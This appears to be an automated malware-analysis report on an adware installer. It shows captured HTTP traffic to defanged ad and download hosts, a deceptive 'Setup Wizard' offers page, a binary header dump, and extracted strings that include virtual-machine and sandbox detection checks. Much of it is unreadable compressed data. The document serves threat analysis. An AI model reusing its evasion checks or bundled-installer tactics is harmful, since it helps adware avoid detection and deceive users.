MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....C8...........#...............................k................................m...............................`#..te...........................................................................................................................text............................... ..`.data...d"......."..................@....rsrc...............................@..@.reloc..............................@..B4.D8@...0[.8M..... 8W...4.D8a...4.D8l...6.D8y...5.D8............KERNEL32.dll.NTDLL.DLL.GDI32.dll.USER32.dll.ADVAPI32.dll.OLEAUT32.dll.ole32.dll......................................................................................................................................................................................................................................................................................................................................................... ...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
<<< skipped >>>
GET /js/show_ads.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.playerfilemagno.com/BesH3gE9/pop-up/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: n149adserv.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: max-age=3600
Accept-Ranges: bytes
Content-Type: application/javascript;charset=ISO-8859-1
Transfer-Encoding: chunked
Content-Encoding: gzip
Vary: Accept-Encoding
Date: Tue, 19 Apr 2016 21:30:44 GMT
Connection: close
a..............200...;ks.8... d..B.hINvr7dXZ.qv<.dfm'.:G..IHbB.Z..........|H..]].}.L.....n..,..Uz.....e....[.eQ...#.qr.....g.. .!n.V....m..,Y..X..!.4O..V.5...Y..8....u^.....M.....X..%..K..`.....P...U..n..B.I.....9.s....'b.....%l.g^.a.y..?.</r.z.u{M.Q...g.._c............B....$(.4..}@...I.hn.#=.`0yQ..b.,..`..V,.q.....?.l.&.O....(.....~...B.u.^0.GIx.W..........z.``..:.7.h...YH.`.....>...X....Yh..........<g....q....k.1...Cm".....b...lh...e..!...YH.>..[..^l.FNrz.h.....\......l........dA<. .W<..e...x.|..U.._....3.3B..N.oYl..D..$.m....200..`i..!H.<....e..o3^...`....eJ..Y2O..PpRC.k_..:zNm.%Q]....u..x>...}......{X\...H.....:....F.JF....U.C.?_..v$...qOv.|O.-..I."Z...bi5.G!5.H.P...8*,)^..hf.-........Qi.?C.p.?G..........C..q...........s...54@....EL%....'..F7.V[.~.......#`..Y~....9q...Sp...."Y.R.....(.........3o.?......Y.6..;...`...3...S4....A.....Z..2..u...Z..4.......h.......fj........-aF,.k.....QX....:z\Q.`)...v.ch..!k.A.;...........6f.....z..%3 .h..[..R.....K.....].T....STR..:..N.}... ......e..yQa....>0.l._3.h`.yt.8..........B? ....a..{...p..`.[..200..........oN....-..H..x..!.y.%.,...`.CXq.....au.....".. H..9.......p.|......H...{iQ......q.e[....{.I.N....M.EEt.@..X...*T<j..4..,...J........t..).A.lf..u....I.0....@}.nV,Z$ga3x.4).2.GA9&....I...O.. .w...8........"....'JG. ...^..f..#6.5.......l?1.i....5.m6.t.....,?..TD...zKT.. ......4.F...n.....).aQr.._.......kk2V.Y0..C.Y..T3.`F......c .Sv.g..?n.L`.. ^..y..fs=........W ......f.9>?......3...R@..j...j.M&/.f...M.2....G.:..3.2.R ..i......n./.HB.
<<< skipped >>>
GET /__maxpower__/render_screen/2014/11/a888aa68-73d0-11e4-b71d-06a3579b0dab/screen_variation=videoUpdater HTTP/1.1
Accept: */*
Proxy-Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: api.playerfilemagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Language: en
Content-Type: text/html; charset=utf-8
Date: Tue, 19 Apr 2016 21:30:42 GMT
Server: nginx
Vary: Accept-Language
Content-Length: 814
Connection: keep-alive
.<!--finish Videoupdater-->....<div class="finish">..<h1>........Setup Wizard.......</h1>..<p style="margin-top: 15px; font-size: 13px;">You have succesfully installed the software below and they are ready to be used:</p>....<div class="items">...<ul>....<li class="check">%mapp%</li>......</ul>..</div>....<div class="clear"></div>....<p>Recommended offers:</p>......<div class="list-toolbars" id="alloffers">....<ul class="_FinishOffers">....</ul>...</div>....<!--...<div class="banner">......<iframe src="hXXp://n149adserv.com/ads?key=09879bcf6e631312a2c4d02d9cae272f&width=300&height=250" frameborder='0' scrolling='no' width='300' height='250'></iframe>...</div> ..-->.........<input id="_Bexit" class="_Bexit close absol" tabindex="2" type="submit" name="nombre" onclick='onExit()' value="Close">....</div>..nt>....
GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/bullet-short.gif HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: api.playerfilemagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/gif
Date: Tue, 19 Apr 2016 21:30:42 GMT
ETag: "54f079fd-36"
Last-Modified: Fri, 27 Feb 2015 14:06:53 GMT
Server: nginx
Content-Length: 54
Connection: keep-alive
GIF89a.............!.......,...................P..U..;HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Type: image/gif..Date: Tue, 19 Apr 2016 21:30:42 GMT..ETag: "54f079fd-36"..Last-Modified: Fri, 27 Feb 2015 14:06:53 GMT..Server: nginx..Content-Length: 54..Connection: keep-alive..GIF89a.............!.......,...................P..U..;..
GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/style.css HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: api.playerfilemagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/css
Date: Tue, 19 Apr 2016 21:30:36 GMT
ETag: "54f6e242-4a5a"
Last-Modified: Wed, 04 Mar 2015 10:45:22 GMT
Server: nginx
Content-Length: 19034
Connection: keep-alive
/* Template Template Videoupdater */...article,aside,details,figcaption,figure,.footer,header,hgroup,menu,nav,section {..display:block;.}.p, h5, h4, h3, h2, h1, span, ul, li, form, input, textarea {..margin:0;..padding:0;.}.body {..margin:0 auto;..background-color:#323333;..width: 555px;..height: 458px;..color:#b5b5b5;..font-family:Arial, Helvetica, sans-serif;..scrollbar-face-color: #666666;..scrollbar-highlight-color: #999999;..scrollbar-3dlight-color: #333333;..scrollbar-shadow-color: #333333;..scrollbar-darkshadow-color: #333333;..scrollbar-arrow-color: #CCCCCC;..scrollbar-track-color: #333333;.}...videupdater a, .videupdater span {..color:#b5b5b5;.}...clear {..clear:both;..height:0px;..overflow:inherit;..display: none;.}..li {..list-style: none;.}./*********************//*********************//*********************//*********************//********./* estilo para poner los botones del box.html todos en display none */.._Bnext, .._Bexit, .._Bdecline, .._Bomit {../*display:none;*/.}./**************************************************/..container {..float:left;..width:555px;..height: 458px;..background-color:#323333;..margin: 0 auto;.}../*****************Template Win_Link*****************/......minimize {..float: right;..width: 45px;..position: relative;..margin-right: -45px;..right: 45px;..margin-top: 12px;..z-index: 9999;.}....minimize ul li {..display: inline;..float: left;.}...minimize li {....float: left;..} ....minimize .button-min {..color: #636363;..text-decoration: none;..border: none;..font-size: 17
<<< skipped >>>
HEAD /8c/JFileManagerSetup.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: dybraso4svbl2.cloudfront.net
Content-Length: 0
Cache-Control: no-cache
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 2229214
Connection: keep-alive
Date: Tue, 19 Apr 2016 12:19:10 GMT
Last-Modified: Tue, 12 Apr 2016 12:07:07 GMT
ETag: "ca04007495aae5057da274a53a338ddc"
Accept-Ranges: bytes
Server: AmazonS3
Age: 33088
X-Cache: Hit from cloudfront
Via: 1.1 aeafa3db4617a306a1d43a9e2c98afad.cloudfront.net (CloudFront)
X-Amz-Cf-Id: di7lplRBaqX52I_6wmNXgngN9TS24O74IWLwqlEzbqN_UKUW8K7WoQ==
GET /BesH3gE9/pop-up/ HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.playerfilemagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Language: en
Content-Type: text/html
Date: Tue, 19 Apr 2016 21:30:42 GMT
Server: nginx
Set-Cookie: lpsl_BesH3gE9=7ffe48f167ac49220853a157cacd82a7 1461187842; Path=/; Expires=Wed, 20-Apr-16 21:30:42 GMT;Domain=VVV.playerfilemagno.com
Vary: Accept-Language
Content-Length: 1080
Connection: keep-alive
...........V.o.6.._..!.IN&...... s:l@....uH3...X.$.$e.-..{.d..]l f.0}.{.;.w...\.>....5..4Ao.....1.6!....\O..._&7o..4.D.L.*..M.y..Fx.T> d.Z9....=..A.5......v".P.xdx....$.......W../...0../B..D. ..9..b..,..VV...|L.\0...0I..$q..l9..G..<G..F.l.?A..;...gK......Q..\..E..........>.N.S..I.M{..v:....{~>k.O....n.kw...&..ga...0..m7....g....C.."Q.#E.=S>.J.D..:=.JO.*a`.~.._.S.....Z|*.X.....I....^......f..x..1....=."`.T.jFhz.Q0.BB..'?.=....;.m...m .n......ANKwB.........XR....@>...P-.'.\..'.o..................).g.ey\`bb.....Y.nbM.B:.<7.%...{...M.....j.D...*.....V.....@D.!.$.A.Bc.....B....L.i.h....J..!....3...A[K...Lw..x.p..g,....4..5.......Y:.3.Dg.\D]..uS.:)...d.p......a...A...n}j..KT.R3.<;p. ......wL.S..o.L.q$.\..l,.g2.9.V1....pT....f.......:R.3..y...Zj.Q......m....4.F....F....x....Q....#.C....d.N.....aw..\'0.v..r.N.....{.fw."...^?...E7.Z....w..i..Q..C..%:dk.!..DJ.6. ..:......4.sYn.....jZ......8xx.[H...T.T........J./..q..47.<.n.....MSv..V...l.v.~...........7..)<..._......G......,.s.j|.kGO.jjLx.]xe...2...9rg6....L}......4..`VdE.4..ChOJ..2....K.'..~_.B..{.7...|}.W.K..7............HTTP/1.1 200 OK..Content-Encoding: gzip..Content-Language: en..Content-Type: text/html..Date: Tue, 19 Apr 2016 21:30:42 GMT..Server: nginx..Set-Cookie: lpsl_BesH3gE9=7ffe48f167ac49220853a157cacd82a7 1461187842; Path=/; Expires=Wed, 20-Apr-16 21:30:42 GMT;Domain=VVV.playerfilemagno.com..Vary: Accept-Language..Content-Length: 1080..Connection: keep-alive.............V.o.6.._..!.IN&...... s:l@....uH3...X.$.$e.-..{.d..]l f.
<<< skipped >>>
GET /lpresources/js/linkv2.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.playerfilemagno.com/BesH3gE9/pop-up/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.playerfilemagno.com
Connection: Keep-Alive
Cookie: lpsl_BesH3gE9=7ffe48f167ac49220853a157cacd82a7 1461187842
HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Content-Encoding: gzip
Content-Type: application/javascript
Date: Tue, 19 Apr 2016 21:30:42 GMT
ETag: "280056-d84-4feef24b01140"
Last-Modified: Thu, 24 Jul 2014 11:56:13 GMT
Server: nginx
Vary: Accept-Encoding
Content-Length: 1358
Connection: keep-alive
...........WYo.8.~..`.ELV.|...q. M.........AIT,D...r....;$E.Ns 0,..|srf.Ty$."G.4..L...[&.T........B;.Q^......}..a...?.c.&h6.N..P...\.... 5.S..9......5.)..R..xQ.1Vb.......V.A........>:J..@yY.w)..:.[....w4.....Q.e..".\..!)..h.^......;..M......n....P.>....^ zBQ...Y.kq^e...L0.."...c...R..7Y..Jd..1pc....BO82.......l.r&"Z.....B!y..Z......i...?....9..5..gED.. .|T.=Qf.....\.V..O..C../x....M..l..z.."W.B.a..rh..,...'.?...?.L...c.N......5.A.."...u*..........?\..2W..q.......h..mb`Y.1...k..i.w.8K.;.3.,e.e......2T..FtS..K......7"..,*e.&.e.W.%v......=.L.....\.'.{......D9.U...s.-... ..JD..U.0pHqwV..;8Y5A....G.........T/.?~.w..A.aI...\i.}P.@k%<.G.7......%u2..0.....3.(.H%.......P?1x:n...=.:...m...v2..w.....Go..tj.(-7.K. =Y.4.>.........7.(.w.q ... i..Lt/.....W.....T...)..W.."Y...`..%..,...........tW..8.C.A2.,8(...j..../.B...x.S..u..X....f..=..U8......vLc. f...h@..A' E..A3.....t......-.yhZ)..6.`....o%.........'.Y...u...c..&....... .Q.9.....Vm.mW...h..W...C.w............'...r.(.t).j......L...9.j.Uc...QBa9 ..3gPJ.WJ.]xj..!M.<....U......_.....K!0...Ea..F...J=..`.6R.a..V..,cj . ..W..h.i........T....T_.l[.....i.u..VL.u.AE..CR..n...l......y..}...1..5.................O...`'.MW8c...|.. x...{.t..........}_...^..&...?[..9Y|...g.-..._.....h.G~.....i1...b.....&.:.j..9.g.]B]..}..K>......{.7.aNqtMWD.6.0g.......0..z...PghuR7..}..f.y./.p-.%T.n.......xN.j.[.Q......h}e.........
<<< skipped >>>
GET /lpresources/js/ainj.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.playerfilemagno.com/BesH3gE9/pop-up/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.playerfilemagno.com
Connection: Keep-Alive
Cookie: lpsl_BesH3gE9=7ffe48f167ac49220853a157cacd82a7 1461187842
HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Content-Encoding: gzip
Content-Type: application/javascript
Date: Tue, 19 Apr 2016 21:30:43 GMT
ETag: "185921-0-4f9c38966d780"
Last-Modified: Mon, 19 May 2014 16:48:46 GMT
Server: nginx
Vary: Accept-Encoding
Content-Length: 20
Connection: keep-alive
....................HTTP/1.1 200 OK..Accept-Ranges: bytes..Access-Control-Allow-Origin: *..Content-Encoding: gzip..Content-Type: application/javascript..Date: Tue, 19 Apr 2016 21:30:43 GMT..ETag: "185921-0-4f9c38966d780"..Last-Modified: Mon, 19 May 2014 16:48:46 GMT..Server: nginx..Vary: Accept-Encoding..Content-Length: 20..Connection: keep-alive..........................
GET /lpresources/js/dlStoragev1.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.playerfilemagno.com/BesH3gE9/pop-up/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.playerfilemagno.com
Connection: Keep-Alive
Cookie: lpsl_BesH3gE9=7ffe48f167ac49220853a157cacd82a7 1461187842
HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Content-Encoding: gzip
Content-Type: application/javascript
Date: Tue, 19 Apr 2016 21:30:43 GMT
ETag: "180b8a-1a57-50572ea11d0c0"
Last-Modified: Wed, 15 Oct 2014 09:39:55 GMT
Server: nginx
Vary: Accept-Encoding
Content-Length: 2010
Connection: keep-alive
...........X[o...~v~...H:q..X,...]d..]t/i.A..b.P.(.F.]..c....!.....p.......\...K.Y..P.......b..c.........\3 J..2o-e.*!.....Ur....S>..(..^....Z ...i..Z...Z.^.(b.}&.....O.$.:.:.....c{D........K.,.....WH.{C..}....2 n..Q..~[$p.1..C/<8.....EZ:_..'..@/.#...ud,K.T....J....i|....3=.....N.!.nY@g....~...~j..i..jj..m.D;l.94.h.$A..9..n.Vp?.X.O..&....".......mch....'L..[m...m...XfR......G9(.....BVq....\....G..1....V[.............%....H<...m..O.~.&...-...f...V..@.iV@....[.. .fZ8Ie...Z..%Zdy...s..@.T..B.2.~-..X?[O.Y.i{.K: L.....D......-......... .k.......r.6..... v.5X..l.O..F...9..-.O.....5^.L.i..<Ip..O.....~...,...>.2/...H.R .v..2....R*}:....X.......p2i..b..^.......tW.y...).'....H.......E.).Bx].......p.....9.c]...V....w..(. $D..uc..\.&OFv.2.>%.yf..!B.V4.)...~k..db...Z.......}.....&..^...{cGzV.V...yv:..^....vQ..`.@....f...ix........h*!-.l9L...1...@L...6{h./.HpF.).T......i.......3u.'...fK..j.OY.;!3 .N.'Fw1.....7..W..}"..n.ax[,y.%.. .......X%wf. .O...s...'...g7..9'y.V..y.\O..3...,.-....H.q..........AM..;..L.8B`.3.......X.J.0..m....)1..b-.w...j.!..oi...f..R'......-U]8.y. 0.*....0J..M...@.&.}..............IR<...G.J.)I...G.......l.....I.sU....I..}{8...."HQ.....- #..........Q.TL.%"^.h=..cX.r.7.{,......o#,.Ho...*.i...A..*...........2..mh{Ws.3.3.:..N.-...C#WV.[..I.c.J..`...{8....Dw.....x.................../.E_Cl7?....C<....a..Qg.V.p.....\.=.......w?.9.qno..%o....'..z..s(..)......p.v...}kw..*a.T.1...5.S.K]*......58....B..O$M.C.`.............a.h.q...0... jV.....C. IS.].......8_.l..h.....mP.6j....b.1...~.e...DV..
<<< skipped >>>
GET /mh/53a811d55f1c1e744b000002/2307c835-660a-4bd8-a3df-031d9af89e85/53a811d55f1c1e744b000002/default/media/js/jquery-1.11.1.min.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.playerfilemagno.com/BesH3gE9/pop-up/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.playerfilemagno.com
Connection: Keep-Alive
Cookie: lpsl_BesH3gE9=7ffe48f167ac49220853a157cacd82a7 1461187842
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: application/javascript
Date: Tue, 19 Apr 2016 21:30:43 GMT
ETag: "53a84f60-1762a"
Last-Modified: Mon, 23 Jun 2014 16:01:36 GMT
Server: nginx
Content-Length: 95786
Connection: keep-alive
/*! jQuery v1.11.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.1",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0] |[\s\uFEFF\xA0] $/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c= a (0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},m.extend=m.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h ),"object"==typeof g||m.
<<< skipped >>>
Map
The Adware connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_872:
.text
.text
`.rsrc
`.rsrc
u%Shh#Q
u%Shh#Q
@t-9}
@t-9}
NSSh:
NSSh:
FV<.tn>
FV<.tn>
J!"#$J%J&'()*J ,JJJJJJJJ-J.JJ/0J1JJJJJJJJJJJJJJJJJJ23JJ4567JJ8JJJJJ9:;JJJJJ?JJJJJJJJ@JJJJJJAJJJJJBJJCJJJJJJJJJJJDEJJJJJJJFJGJJJJJJJJJJJJHJI
J!"#$J%J&'()*J ,JJJJJJJJ-J.JJ/0J1JJJJJJJJJJJJJJJJJJ23JJ4567JJ8JJJJJ9:;JJJJJ?JJJJJJJJ@JJJJJJAJJJJJBJJCJJJJJJJJJJJDEJJJJJJJFJGJJJJJJJJJJJJHJI
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\atlexcept.h
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\atlexcept.h
HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0
HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0
kernel32.dll
kernel32.dll
%System%\drivers\vmmouse.sys
%System%\drivers\vmmouse.sys
%System%\drivers\vmhgfs.sys
%System%\drivers\vmhgfs.sys
%System%\drivers\VBoxMouse.sys
%System%\drivers\VBoxMouse.sys
sbiedll.dll
sbiedll.dll
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xdebug
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xdebug
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\streambuf
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\streambuf
SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE '%XEN%')
SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE '%XEN%')
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\cstringt.h
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\cstringt.h
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xlocale
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xlocale
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xiosbase
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xiosbase
Software\Microsoft\Windows\CurrentVersion\Uninstall
Software\Microsoft\Windows\CurrentVersion\Uninstall
Software\Classes\ProcMon.Logfile.1\shell\open\command
Software\Classes\ProcMon.Logfile.1\shell\open\command
IsWindowsServer
IsWindowsServer
hXXps://ssl.google-analytics.com/collect?
hXXps://ssl.google-analytics.com/collect?
PPUXXXXXeow}